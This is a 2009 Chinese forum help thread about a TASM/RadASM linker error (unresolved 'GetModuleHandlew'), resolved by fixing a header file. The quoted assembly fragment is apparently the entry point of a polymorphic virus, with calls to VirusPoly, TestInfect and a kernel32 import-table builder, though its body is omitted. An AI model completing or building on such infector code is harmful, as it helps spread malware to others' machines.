首页
社区
课程
招聘
[求助]Tasm工程构建的问题
发表于: 2009-5-13 15:05 3787

[求助]Tasm工程构建的问题

2009-5-13 15:05
3787
有一段TASM的代码,用配好的Radasm编译。编译成功,构建时出现了
Unresolved external 'GetModuleHandlew' referenced from module test.asm 这样的错误。
相关代码段如下

.CODE
extern GetModuleHandlew :PROC
start:
       
        mov        esi, offset start
        mov        eax, esi
        call        vCodeCheck
        add        esi, ecx
        jmp        $ - 9

        mov        ebp, offset vdelta
        push        offset nKernel32
        call        GetModuleHandlew
        xchg        edx, eax
        mov        esi, offset KNLAPILIST
        mov        edi, offset KNLAPICALL
        call        BuildImportTable

        rdtsc
        call        srand
        mov        ebp, offset vdelta
        sub        esp, 256
        mov        edi, esp
        call        VirusPoly
        add        esp, 256
        ret
        call        TestInfect
        ret
…………………………中间略……………………
END start

这是什么缘故造成的呢?

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
试试换成GetModuleHandleA
2009-5-13 18:52
0
雪    币: 2506
活跃值: (1000)
能力值: (RANK:990 )
在线值:
发帖
回帖
粉丝
3
把 GetModuleHandlew  改成 GetModuleHandleW 看看。
2009-5-13 23:34
0
雪    币: 87
活跃值: (25)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
谢楼上两位,都试了,可是还是不行。难道是我Radasm配置的问题?
2009-5-14 09:32
0
雪    币: 251
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
是不是没有引入相关 "头文件" 和 "库文件"吧.
2009-5-14 09:57
0
雪    币: 87
活跃值: (25)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
6
呵呵,谢谢楼上的,我仔细找了一下头文件,发现的确是头文件的问题。改过来就正常了。问题解决了。
2009-5-14 14:20
0
游客
登录 | 注册 方可回帖
返回
//